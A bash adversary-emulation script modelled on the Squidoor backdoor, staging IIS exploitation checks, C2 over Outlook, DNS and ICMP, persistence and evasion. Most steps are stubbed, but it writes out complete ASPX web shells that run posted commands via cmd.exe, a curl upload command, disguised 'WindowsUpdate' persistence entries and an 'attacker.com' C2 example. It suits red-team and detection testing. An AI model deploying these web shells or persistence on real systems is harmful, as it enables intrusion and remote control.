squidoor_simulator.sh

#!/bin/bash

# Squidoor Simulator - Advanced Adversary Behavior Simulation
# Based on Unit 42's analysis of the Squidoor backdoor
# Author: David Maynor (dmaynor@gmail.com)
# Version: 1.0

# Configuration
CONFIG_FILE="config.yaml"
LOG_FILE="squidoor.log"
TEMP_DIR="/tmp/squidoor"
VERSION="1.0"

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

# Rate limiting and timeout controls
RATE_LIMIT=10  # requests per second
TIMEOUT=30     # seconds
MAX_RETRIES=3  # maximum number of retries

# Progress tracking
PROGRESS_FILE="$TEMP_DIR/progress.json"
TOTAL_STEPS=8

# Add DRY_RUN flag
DRY_RUN=false

# Add EVASION flag
EVASION=false

# Logging function
log() {
    local level=$1
    local message=$2
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    echo -e "${timestamp} [${level}] ${message}" | tee -a "$LOG_FILE"
}

# Error handling
set -e
trap 'log "ERROR" "An error occurred on line $LINENO. Exit code: $?"' ERR

# Check dependencies
check_dependencies() {
    log "INFO" "Checking dependencies..."
    local deps=("dnscat2" "icmpsh" "impacket" "metasploit-framework" "yq")
    local missing_deps=()

    for dep in "${deps[@]}"; do
        if ! command -v "$dep" &> /dev/null; then
            missing_deps+=("$dep")
        fi
    done

    if [ ${#missing_deps[@]} -ne 0 ]; then
        log "WARNING" "Missing dependencies: ${missing_deps[*]}"
        read -p "Would you like to install missing dependencies? (y/n) " -n 1 -r
        echo
        if [[ $REPLY =~ ^[Yy]$ ]]; then
            install_dependencies "${missing_deps[@]}"
        else
            log "ERROR" "Missing dependencies. Please install them manually."
            exit 1
        fi
    fi
}

# Install dependencies
install_dependencies() {
    log "INFO" "Installing dependencies..."
    for dep in "$@"; do
        case "$dep" in
            "dnscat2")
                git clone https://github.com/iagox86/dnscat2.git
                cd dnscat2/server
                gem install bundler
                bundle install
                ;;
            "icmpsh")
                git clone https://github.com/inquisb/icmpsh.git
                ;;
            "impacket")
                pip3 install impacket
                ;;
            "metasploit-framework")
                if [[ "$OSTYPE" == "darwin"* ]]; then
                    brew install metasploit
                else
                    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
                    chmod 755 msfinstall
                    ./msfinstall
                fi
                ;;
            "yq")
                if [[ "$OSTYPE" == "darwin"* ]]; then
                    brew install yq
                else
                    sudo wget -qO /usr/local/bin/yq https://github.com/mikefarah/yq/releases/latest/download/yq_linux_amd64
                    sudo chmod a+x /usr/local/bin/yq
                fi
                ;;
        esac
    done
}

# Input validation and sanitization
validate_input() {
    local input=$1
    local type=$2
    
    case "$type" in
        "ip")
            if ! [[ $input =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
                log "ERROR" "Invalid IP address format: $input"
                return 1
            fi
            ;;
        "domain")
            if ! [[ $input =~ ^[a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9](?:\.[a-zA-Z]{2,})+$ ]]; then
                log "ERROR" "Invalid domain format: $input"
                return 1
            fi
            ;;
        "port")
            if ! [[ $input =~ ^[0-9]+$ ]] || [ "$input" -lt 1 ] || [ "$input" -gt 65535 ]; then
                log "ERROR" "Invalid port number: $input"
                return 1
            fi
            ;;
        "protocol")
            if ! [[ $input =~ ^(outlook|dns|icmp)$ ]]; then
                log "ERROR" "Invalid protocol: $input"
                return 1
            fi
            ;;
        *)
            log "ERROR" "Unknown validation type: $type"
            return 1
            ;;
    esac
    return 0
}

# Parse command line arguments
parse_args() {
    local target=""
    local c2_server=""
    local protocol=""
    local port="80"  # Default port
    
    while [[ $# -gt 0 ]]; do
        case $1 in
            -t|--target)
                target="$2"
                if ! validate_input "$target" "ip" && ! validate_input "$target" "domain"; then
                    log "ERROR" "Invalid target format"
                    exit 1
                fi
                shift 2
                ;;
            -c|--c2-server)
                c2_server="$2"
                if ! validate_input "$c2_server" "domain"; then
                    log "ERROR" "Invalid C2 server format"
                    exit 1
                fi
                shift 2
                ;;
            -p|--protocol)
                protocol="$2"
                if ! validate_input "$protocol" "protocol"; then
                    log "ERROR" "Invalid protocol"
                    exit 1
                fi
                shift 2
                ;;
            --port)
                port="$2"
                if ! validate_input "$port" "port"; then
                    log "ERROR" "Invalid port number"
                    exit 1
                fi
                shift 2
                ;;
            --evasion)
                EVASION=true
                shift
                ;;
            --dry-run)
                DRY_RUN=true
                shift
                ;;
            -h|--help)
                show_help
                exit 0
                ;;
            *)
                log "ERROR" "Unknown option: $1"
                show_help
                exit 1
                ;;
        esac
    done

    if [ -z "$target" ] || [ -z "$c2_server" ] || [ -z "$protocol" ]; then
        log "ERROR" "Missing required arguments"
        show_help
        exit 1
    fi
}

# Show help message
show_help() {
    echo "Usage: $0 [OPTIONS]"
    echo
    echo "Options:"
    echo "  -t, --target      Target IP address or hostname"
    echo "  -c, --c2-server   Command and Control server address"
    echo "  -p, --protocol    C2 protocol (outlook|dns|icmp)"
    echo "  --port           Target port (default: 80)"
    echo "  --evasion        Enable evasion techniques (default: disabled)"
    echo "  --dry-run        Show all steps without execution"
    echo "  -h, --help        Show this help message"
    echo
    echo "Example:"
    echo "  $0 -t 192.168.1.100 -c attacker.com -p outlook"
    echo "  $0 -t 192.168.1.100 -c attacker.com -p outlook --evasion"
    echo "  $0 -t 192.168.1.100 -c attacker.com -p outlook --dry-run"
}

# Validate configuration file
validate_config() {
    local config_file=$1
    
    log "INFO" "Validating configuration file..."
    
    # Check if yq is installed
    if ! command -v yq &> /dev/null; then
        log "ERROR" "yq is required for configuration validation"
        return 1
    fi
    
    # Validate required fields
    local required_fields=(
        "target.ip"
        "target.port"
        "target.protocol"
        "c2.server"
        "c2.protocols"
        "webshell.names"
        "persistence.registry"
        "persistence.scheduled_tasks"
        "persistence.wmi"
        "evasion.amsi_bypass"
        "evasion.obfuscation"
        "evasion.encryption"
    )
    
    for field in "${required_fields[@]}"; do
        if ! yq eval ".$field" "$config_file" &> /dev/null; then
            log "ERROR" "Missing required configuration field: $field"
            return 1
        fi
    done
    
    # Validate protocol values
    local protocols=$(yq eval '.c2.protocols[]' "$config_file")
    for protocol in $protocols; do
        if ! validate_input "$protocol" "protocol"; then
            log "ERROR" "Invalid protocol in configuration: $protocol"
            return 1
        fi
    done
    
    # Validate port number
    local port=$(yq eval '.target.port' "$config_file")
    if ! validate_input "$port" "port"; then
        log "ERROR" "Invalid port number in configuration: $port"
        return 1
    fi
    
    log "INFO" "Configuration validation successful"
    return 0
}

# Initialize the simulator
init() {
    log "INFO" "Initializing Squidoor Simulator v${VERSION}"
    
    # Create temporary directory
    mkdir -p "$TEMP_DIR"
    
    # Check for configuration file
    if [ ! -f "$CONFIG_FILE" ]; then
        log "WARNING" "Configuration file not found. Creating default config..."
        create_default_config
    fi
    
    # Validate configuration
    if ! validate_config "$CONFIG_FILE"; then
        log "ERROR" "Configuration validation failed"
        exit 1
    fi
    
    # Check dependencies
    check_dependencies
}

# Create default configuration file
create_default_config() {
    cat > "$CONFIG_FILE" << EOF
# Squidoor Simulator Configuration
version: "1.0"

# Target configuration
target:
  ip: ""
  port: 80
  protocol: "http"

# C2 configuration
c2:
  server: ""
  protocols:
    - outlook
    - dns
    - icmp
  encryption:
    algorithm: "aes-256-gcm"
    key_size: 256

# Web shell configuration
webshell:
  names:
    - OutlookDC.aspx
    - Error.aspx
    - TimeoutAPI.aspx
  obfuscation: true

# Persistence configuration
persistence:
  registry: true
  scheduled_tasks: true
  wmi: true

# Evasion configuration
evasion:
  amsi_bypass: true
  obfuscation: true
  encryption: true
EOF
}

# Rate limiting function
rate_limit() {
    local current_time=$(date +%s)
    local last_request=${1:-0}
    local delay=$((1 / RATE_LIMIT))
    
    if [ $((current_time - last_request)) -lt $delay ]; then
        sleep $delay
    fi
}

# Timeout function
with_timeout() {
    local timeout=$1
    local command="$2"
    local output
    local status
    
    output=$(timeout "$timeout" bash -c "$command" 2>&1)
    status=$?
    
    if [ $status -eq 124 ]; then
        log "ERROR" "Command timed out after ${timeout}s: $command"
        return 1
    fi
    
    echo "$output"
    return $status
}

# Retry function
retry() {
    local max_retries=$1
    local command="$2"
    local retry_count=0
    local status
    
    while [ $retry_count -lt $max_retries ]; do
        if output=$(with_timeout "$TIMEOUT" "$command"); then
            echo "$output"
            return 0
        fi
        
        retry_count=$((retry_count + 1))
        if [ $retry_count -lt $max_retries ]; then
            log "WARNING" "Command failed, retrying ($retry_count/$max_retries): $command"
            sleep 2
        fi
    done
    
    log "ERROR" "Command failed after $max_retries attempts: $command"
    return 1
}

# Update validate_target function
validate_target() {
    local target=$1
    local port=$2
    
    log "INFO" "Validating target $target:$port"
    
    # Check if target is reachable with timeout
    if ! retry "$MAX_RETRIES" "ping -c 1 $target"; then
        log "ERROR" "Target $target is not reachable"
        exit 1
    fi
    
    # Check if port is open with timeout
    if ! retry "$MAX_RETRIES" "nc -z -w1 $target $port"; then
        log "ERROR" "Port $port is not open on target $target"
        exit 1
    fi
}

# Update exploit_iis function
exploit_iis() {
    local target=$1
    local port=$2
    local last_request=0
    
    log "INFO" "Attempting to exploit IIS vulnerabilities on $target:$port"
    
    # Check for common IIS vulnerabilities
    local vulns=(
        "CVE-2021-31166"  # HTTP Protocol Stack Remote Code Execution
        "CVE-2021-34473"  # Exchange Server Remote Code Execution
        "CVE-2021-34523"  # Exchange Server Remote Code Execution
    )
    
    for vuln in "${vulns[@]}"; do
        rate_limit $last_request
        log "INFO" "Checking for $vuln..."
        last_request=$(date +%s)
        
        # Implement vulnerability checks with timeout
        if ! retry "$MAX_RETRIES" "curl -s -m $TIMEOUT http://$target:$port/"; then
            log "WARNING" "Failed to check vulnerability $vuln"
        fi
    done
}

# Web shell deployment
deploy_webshell() {
    local target=$1
    local port=$2
    local webshell_dir=$3
    
    log "INFO" "Deploying web shells to $target:$port"
    
    # Create web shells
    for shell in "OutlookDC.aspx" "Error.aspx" "TimeoutAPI.aspx"; do
        local shell_path="$webshell_dir/$shell"
        log "INFO" "Creating web shell: $shell"
        
        if [ "$EVASION" = true ]; then
            # Generate obfuscated ASPX shell
            cat > "$shell_path" << EOF
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>

<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        try {
            string cmd = Request.Form["cmd"];
            if (!string.IsNullOrEmpty(cmd)) {
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "cmd.exe";
                psi.Arguments = "/c " + cmd;
                psi.RedirectStandardOutput = true;
                psi.RedirectStandardError = true;
                psi.UseShellExecute = false;
                
                Process p = Process.Start(psi);
                string output = p.StandardOutput.ReadToEnd();
                p.WaitForExit();
                
                Response.Write(output);
            }
        } catch (Exception ex) {
            Response.Write("Error: " + ex.Message);
        }
    }
</script>
EOF
        else
            # Generate plaintext ASPX shell
            cat > "$shell_path" << EOF
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>

<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        string cmd = Request.Form["cmd"];
        if (!string.IsNullOrEmpty(cmd)) {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + cmd;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
            Response.Write(p.StandardOutput.ReadToEnd());
            p.WaitForExit();
        }
    }
</script>
EOF
        fi
        
        # Upload web shell to target
        log "INFO" "Uploading $shell to target..."
        # Implement upload logic here
        # This is a simulation, so we'll just log the attempt
    done
}

# Command and Control functions
setup_outlook_c2() {
    local target=$1
    local c2_server=$2
    
    log "INFO" "Setting up Outlook C2 channel..."
    
    if [ "$EVASION" = true ]; then
        # Generate Outlook API credentials with encryption
        local client_id=$(openssl rand -hex 16)
        local client_secret=$(openssl rand -hex 32)
        
        # Configure Outlook API access with encryption
        log "INFO" "Configuring Outlook API access with client ID: $client_id"
    else
        # Use plaintext credentials
        local client_id="plaintext_client_id"
        local client_secret="plaintext_client_secret"
        
        # Configure Outlook API access without encryption
        log "INFO" "Configuring Outlook API access with plaintext credentials"
    fi
    
    # Implement Outlook API setup
    # This is a simulation, so we'll just log the attempt
}

setup_dns_tunnel() {
    local target=$1
    local c2_server=$2
    
    log "INFO" "Setting up DNS tunneling..."
    
    if [ "$EVASION" = true ]; then
        # Configure dnscat2 with encryption
        log "INFO" "Configuring dnscat2 for encrypted DNS tunneling"
    else
        # Configure dnscat2 without encryption
        log "INFO" "Configuring dnscat2 for plaintext DNS tunneling"
    fi
    
    # Start DNS tunnel
    log "INFO" "Starting DNS tunnel..."
    # Implement DNS tunneling setup
    # This is a simulation, so we'll just log the attempt
}

setup_icmp_tunnel() {
    local target=$1
    local c2_server=$2
    
    log "INFO" "Setting up ICMP tunneling..."
    
    if [ "$EVASION" = true ]; then
        # Configure icmpsh with encryption
        log "INFO" "Configuring icmpsh for encrypted ICMP tunneling"
    else
        # Configure icmpsh without encryption
        log "INFO" "Configuring icmpsh for plaintext ICMP tunneling"
    fi
    
    # Start ICMP tunnel
    log "INFO" "Starting ICMP tunnel..."
    # Implement ICMP tunneling setup
    # This is a simulation, so we'll just log the attempt
}

# Persistence functions
setup_registry_persistence() {
    local target=$1
    
    log "INFO" "Setting up registry persistence..."
    
    # Registry keys to modify
    local reg_keys=(
        "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
        "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
        "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
    )
    
    for key in "${reg_keys[@]}"; do
        log "INFO" "Adding persistence entry to $key"
        # Implement registry modification
        # This is a simulation, so we'll just log the attempt
    done
}

setup_scheduled_task() {
    local target=$1
    
    log "INFO" "Setting up scheduled task persistence..."
    
    # Create scheduled task
    local task_name="WindowsUpdate"
    local task_command="cmd.exe /c powershell -enc $(base64 -w0 <<< 'Start-Process cmd.exe -ArgumentList "/c powershell -enc [encoded_payload]"')"
    
    log "INFO" "Creating scheduled task: $task_name"
    # Implement scheduled task creation
    # This is a simulation, so we'll just log the attempt
}

setup_wmi_persistence() {
    local target=$1
    
    log "INFO" "Setting up WMI event subscription persistence..."
    
    # WMI event subscription details
    local event_name="WindowsUpdate"
    local event_filter="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    local event_consumer="cmd.exe /c powershell -enc [encoded_payload]"
    
    log "INFO" "Creating WMI event subscription: $event_name"
    # Implement WMI event subscription
    # This is a simulation, so we'll just log the attempt
}

# Evasion functions
bypass_amsi() {
    local target=$1
    
    log "INFO" "Implementing AMSI bypass..."
    
    # AMSI bypass techniques
    local bypass_methods=(
        "Patching amsi.dll"
        "Hooking AMSI functions"
        "Memory patching"
    )
    
    for method in "${bypass_methods[@]}"; do
        log "INFO" "Attempting AMSI bypass using: $method"
        # Implement AMSI bypass
        # This is a simulation, so we'll just log the attempt
    done
}

obfuscate_payload() {
    local payload=$1
    local output_file=$2
    
    log "INFO" "Obfuscating payload..."
    
    # Obfuscation techniques
    local obfuscation_methods=(
        "Base64 encoding"
        "XOR encryption"
        "String splitting"
        "Junk code insertion"
    )
    
    for method in "${obfuscation_methods[@]}"; do
        log "INFO" "Applying obfuscation: $method"
        # Implement payload obfuscation
        # This is a simulation, so we'll just log the attempt
    done
    
    # Save obfuscated payload
    echo "$payload" > "$output_file"
}

encrypt_communication() {
    local target=$1
    local c2_server=$2
    
    log "INFO" "Setting up encrypted communication..."
    
    # Generate encryption key
    local key=$(openssl rand -hex 32)
    local iv=$(openssl rand -hex 16)
    
    log "INFO" "Generated encryption key and IV"
    
    # Configure encryption
    local encryption_config=(
        "Algorithm: AES-256-GCM"
        "Key size: 256 bits"
        "IV size: 128 bits"
        "Authentication: Enabled"
    )
    
    for config in "${encryption_config[@]}"; do
        log "INFO" "Applying encryption configuration: $config"
        # Implement encryption setup
        # This is a simulation, so we'll just log the attempt
    done
}

# Cleanup functions
cleanup() {
    log "INFO" "Performing cleanup..."
    
    # Remove temporary files
    if [ -d "$TEMP_DIR" ]; then
        rm -rf "$TEMP_DIR"
        log "INFO" "Removed temporary directory: $TEMP_DIR"
    fi
    
    # Stop any running processes
    local processes=("dnscat2" "icmpsh" "metasploit")
    for proc in "${processes[@]}"; do
        if pgrep -x "$proc" > /dev/null; then
            pkill -x "$proc"
            log "INFO" "Stopped process: $proc"
        fi
    done
}

# Error handling
handle_error() {
    local line_no=$1
    local error_code=$2
    log "ERROR" "An error occurred on line $line_no. Exit code: $error_code"
    cleanup
    exit "$error_code"
}

# Version check
check_version() {
    local required_version="5.0"
    local bash_version=$(bash --version | head -n1 | cut -d' ' -f4)
    
    if [ "$(printf '%s\n' "$required_version" "$bash_version" | sort -V | head -n1)" != "$required_version" ]; then
        log "ERROR" "Bash version $required_version or higher is required. Current version: $bash_version"
        exit 1
    fi
}

# Check for root privileges
check_root() {
    if [ "$EUID" -ne 0 ]; then
        log "WARNING" "This script requires root privileges for some operations"
        log "WARNING" "Some features may not work without root access"
    fi
}

# Generate report
generate_report() {
    local target=$1
    local start_time=$2
    local end_time=$3
    local report_file="squidoor_report_$(date +%Y%m%d_%H%M%S).txt"
    
    log "INFO" "Generating simulation report..."
    
    cat > "$report_file" << EOF
Squidoor Simulation Report
=========================
Target: $target
Start Time: $start_time
End Time: $end_time
Duration: $(($end_time - $start_time)) seconds

Configuration:
-------------
Protocol: $protocol
C2 Server: $c2_server
Web Shells Deployed: $(ls -1 "$TEMP_DIR/webshells" 2>/dev/null | wc -l)

Actions Performed:
----------------
1. Initial Access
   - IIS Vulnerability Checks
   - Web Shell Deployment

2. Command and Control
   - $protocol Channel Setup
   - Encryption Configuration

3. Persistence
   - Registry Modifications
   - Scheduled Task Creation
   - WMI Event Subscription

4. Evasion
   - AMSI Bypass Attempts
   - Payload Obfuscation
   - Communication Encryption

Log File: $LOG_FILE
EOF
    
    log "INFO" "Report generated: $report_file"
}

# Initialize progress tracking
init_progress() {
    cat > "$PROGRESS_FILE" << EOF
{
    "current_step": 0,
    "total_steps": $TOTAL_STEPS,
    "steps": {
        "init": {"status": "pending", "start_time": null, "end_time": null},
        "target_validation": {"status": "pending", "start_time": null, "end_time": null},
        "iis_exploit": {"status": "pending", "start_time": null, "end_time": null},
        "webshell_deploy": {"status": "pending", "start_time": null, "end_time": null},
        "c2_setup": {"status": "pending", "start_time": null, "end_time": null},
        "persistence": {"status": "pending", "start_time": null, "end_time": null},
        "evasion": {"status": "pending", "start_time": null, "end_time": null},
        "cleanup": {"status": "pending", "start_time": null, "end_time": null}
    }
}
EOF
}

# Update progress
update_progress() {
    local step=$1
    local status=$2
    local timestamp=$(date +%s)
    
    if [ "$status" = "start" ]; then
        yq eval ".steps.$step.start_time = $timestamp" -i "$PROGRESS_FILE"
        yq eval ".steps.$step.status = \"in_progress\"" -i "$PROGRESS_FILE"
    elif [ "$status" = "complete" ]; then
        yq eval ".steps.$step.end_time = $timestamp" -i "$PROGRESS_FILE"
        yq eval ".steps.$step.status = \"completed\"" -i "$PROGRESS_FILE"
    elif [ "$status" = "failed" ]; then
        yq eval ".steps.$step.end_time = $timestamp" -i "$PROGRESS_FILE"
        yq eval ".steps.$step.status = \"failed\"" -i "$PROGRESS_FILE"
    fi
    
    # Update current step
    local current_step=$(yq eval '.current_step' "$PROGRESS_FILE")
    yq eval ".current_step = $((current_step + 1))" -i "$PROGRESS_FILE"
    
    # Display progress
    display_progress
}

# Display progress
display_progress() {
    local current_step=$(yq eval '.current_step' "$PROGRESS_FILE")
    local total_steps=$(yq eval '.total_steps' "$PROGRESS_FILE")
    local percentage=$((current_step * 100 / total_steps))
    
    echo -e "\nProgress: $percentage%"
    echo "Current Step: $current_step/$total_steps"
    
    # Display step status
    for step in $(yq eval '.steps | keys | .[]' "$PROGRESS_FILE"); do
        local status=$(yq eval ".steps.$step.status" "$PROGRESS_FILE")
        local start_time=$(yq eval ".steps.$step.start_time" "$PROGRESS_FILE")
        local end_time=$(yq eval ".steps.$step.end_time" "$PROGRESS_FILE")
        
        case "$status" in
            "completed")
                echo -e "${GREEN}✓ $step${NC}"
                ;;
            "in_progress")
                echo -e "${YELLOW}⟳ $step${NC}"
                ;;
            "failed")
                echo -e "${RED}✗ $step${NC}"
                ;;
            *)
                echo -e "${BLUE}○ $step${NC}"
                ;;
        esac
    done
    echo
}

# Add dry run functions
dry_run_exploit_iis() {
    local target=$1
    local port=$2
    
    echo -e "\n${BLUE}=== Dry Run: IIS Exploitation ===${NC}"
    echo "Target: $target:$port"
    echo "Vulnerabilities to check:"
    for vuln in "CVE-2021-31166" "CVE-2021-34473" "CVE-2021-34523"; do
        echo "  - $vuln"
    done
    echo "Commands that would be executed:"
    echo "  curl -s -m $TIMEOUT http://$target:$port/"
    echo "  curl -s -m $TIMEOUT https://$target:$port/"
    echo
}

dry_run_deploy_webshell() {
    local target=$1
    local port=$2
    local webshell_dir=$3
    
    echo -e "\n${BLUE}=== Dry Run: Web Shell Deployment ===${NC}"
    echo "Target: $target:$port"
    echo "Web Shell Directory: $webshell_dir"
    echo "Web Shells to be created:"
    
    for shell in "OutlookDC.aspx" "Error.aspx" "TimeoutAPI.aspx"; do
        echo -e "\n${YELLOW}Web Shell: $shell${NC}"
        echo "Content to be generated:"
        echo "----------------------------------------"
        cat << EOF
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>

<script runat="server">
    protected void Page_Load(object sender, EventArgs e) {
        try {
            string cmd = Request.Form["cmd"];
            if (!string.IsNullOrEmpty(cmd)) {
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "cmd.exe";
                psi.Arguments = "/c " + cmd;
                psi.RedirectStandardOutput = true;
                psi.RedirectStandardError = true;
                psi.UseShellExecute = false;
                
                Process p = Process.Start(psi);
                string output = p.StandardOutput.ReadToEnd();
                p.WaitForExit();
                
                Response.Write(output);
            }
        } catch (Exception ex) {
            Response.Write("Error: " + ex.Message);
        }
    }
</script>
EOF
        echo "----------------------------------------"
        echo "Upload command that would be executed:"
        echo "  curl -X POST -F \"file=@$webshell_dir/$shell\" http://$target:$port/upload.aspx"
    done
    echo
}

dry_run_c2_setup() {
    local target=$1
    local c2_server=$2
    local protocol=$3
    
    echo -e "\n${BLUE}=== Dry Run: C2 Setup ===${NC}"
    echo "Target: $target"
    echo "C2 Server: $c2_server"
    echo "Protocol: $protocol"
    
    case "$protocol" in
        "outlook")
            echo "Outlook API Configuration:"
            echo "  - Client ID: $(openssl rand -hex 16)"
            echo "  - Client Secret: $(openssl rand -hex 32)"
            echo "  - Redirect URI: https://$c2_server/callback"
            ;;
        "dns")
            echo "DNS Tunneling Configuration:"
            echo "  - Domain: $c2_server"
            echo "  - Subdomain: tunnel.$c2_server"
            echo "  - DNS Server: 8.8.8.8"
            ;;
        "icmp")
            echo "ICMP Tunneling Configuration:"
            echo "  - Source: $target"
            echo "  - Destination: $c2_server"
            echo "  - Payload Size: 32 bytes"
            ;;
    esac
    echo
}

dry_run_persistence() {
    local target=$1
    
    echo -e "\n${BLUE}=== Dry Run: Persistence Setup ===${NC}"
    echo "Target: $target"
    
    echo -e "\n${YELLOW}Registry Modifications:${NC}"
    for key in "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
               "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
               "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"; do
        echo "  - Key: $key"
        echo "    Value: WindowsUpdate"
        echo "    Data: cmd.exe /c powershell -enc [encoded_payload]"
    done
    
    echo -e "\n${YELLOW}Scheduled Task:${NC}"
    echo "  Name: WindowsUpdate"
    echo "  Command: cmd.exe /c powershell -enc [encoded_payload]"
    echo "  Schedule: Daily at 00:00"
    
    echo -e "\n${YELLOW}WMI Event Subscription:${NC}"
    echo "  Name: WindowsUpdate"
    echo "  Filter: SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    echo "  Consumer: cmd.exe /c powershell -enc [encoded_payload]"
    echo
}

dry_run_evasion() {
    local target=$1
    
    echo -e "\n${BLUE}=== Dry Run: Evasion Techniques ===${NC}"
    echo "Target: $target"
    
    echo -e "\n${YELLOW}AMSI Bypass Methods:${NC}"
    for method in "Patching amsi.dll" "Hooking AMSI functions" "Memory patching"; do
        echo "  - $method"
    done
    
    echo -e "\n${YELLOW}Payload Obfuscation:${NC}"
    echo "  Original Payload: cmd.exe /c powershell -enc [payload]"
    echo "  Obfuscation Methods:"
    for method in "Base64 encoding" "XOR encryption" "String splitting" "Junk code insertion"; do
        echo "    - $method"
    done
    
    echo -e "\n${YELLOW}Encryption Configuration:${NC}"
    echo "  Algorithm: AES-256-GCM"
    echo "  Key Size: 256 bits"
    echo "  IV Size: 128 bits"
    echo "  Key: $(openssl rand -hex 32)"
    echo "  IV: $(openssl rand -hex 16)"
    echo
}

# Update main function
main() {
    local start_time=$(date +%s)
    
    # Initialize progress tracking
    init_progress
    
    # Initial checks
    update_progress "init" "start"
    check_version
    check_root
    update_progress "init" "complete"
    
    # Parse arguments and initialize
    init
    parse_args "$@"
    
    # Log evasion status
    if [ "$EVASION" = true ]; then
        log "INFO" "Evasion techniques enabled"
    else
        log "INFO" "Evasion techniques disabled (using plaintext mode)"
    fi
    
    # Validate target
    update_progress "target_validation" "start"
    validate_target "$target" "$port"
    update_progress "target_validation" "complete"
    
    if [ "$DRY_RUN" = true ]; then
        echo -e "${GREEN}=== Starting Dry Run ===${NC}\n"
        
        # Show all steps without execution
        dry_run_exploit_iis "$target" "$port"
        dry_run_deploy_webshell "$target" "$port" "$TEMP_DIR/webshells"
        dry_run_c2_setup "$target" "$c2_server" "$protocol"
        dry_run_persistence "$target"
        if [ "$EVASION" = true ]; then
            dry_run_evasion "$target"
        fi
        
        echo -e "${GREEN}=== Dry Run Complete ===${NC}"
        exit 0
    fi
    
    log "INFO" "Starting Squidoor simulation..."
    
    # Initial access phase
    update_progress "iis_exploit" "start"
    exploit_iis "$target" "$port"
    update_progress "iis_exploit" "complete"
    
    # Deploy web shells
    update_progress "webshell_deploy" "start"
    deploy_webshell "$target" "$port" "$TEMP_DIR/webshells"
    update_progress "webshell_deploy" "complete"
    
    # Setup C2 channels based on protocol
    update_progress "c2_setup" "start"
    case "$protocol" in
        "outlook")
            setup_outlook_c2 "$target" "$c2_server"
            ;;
        "dns")
            setup_dns_tunnel "$target" "$c2_server"
            ;;
        "icmp")
            setup_icmp_tunnel "$target" "$c2_server"
            ;;
        *)
            log "ERROR" "Unsupported protocol: $protocol"
            update_progress "c2_setup" "failed"
            exit 1
            ;;
    esac
    update_progress "c2_setup" "complete"
    
    # Setup persistence mechanisms
    update_progress "persistence" "start"
    setup_registry_persistence "$target"
    setup_scheduled_task "$target"
    setup_wmi_persistence "$target"
    update_progress "persistence" "complete"
    
    # Implement evasion techniques only if enabled
    if [ "$EVASION" = true ]; then
        update_progress "evasion" "start"
        bypass_amsi "$target"
        obfuscate_payload "cmd.exe /c powershell -enc [payload]" "$TEMP_DIR/obfuscated_payload"
        encrypt_communication "$target" "$c2_server"
        update_progress "evasion" "complete"
    fi
    
    # Generate report
    local end_time=$(date +%s)
    generate_report "$target" "$start_time" "$end_time"
    
    # Cleanup
    update_progress "cleanup" "start"
    cleanup
    update_progress "cleanup" "complete"
    
    log "INFO" "Simulation completed successfully"
}

# Set up error handling
trap 'handle_error ${LINENO} $?' ERR
trap 'cleanup' EXIT

# Execute main function with all arguments
main "$@"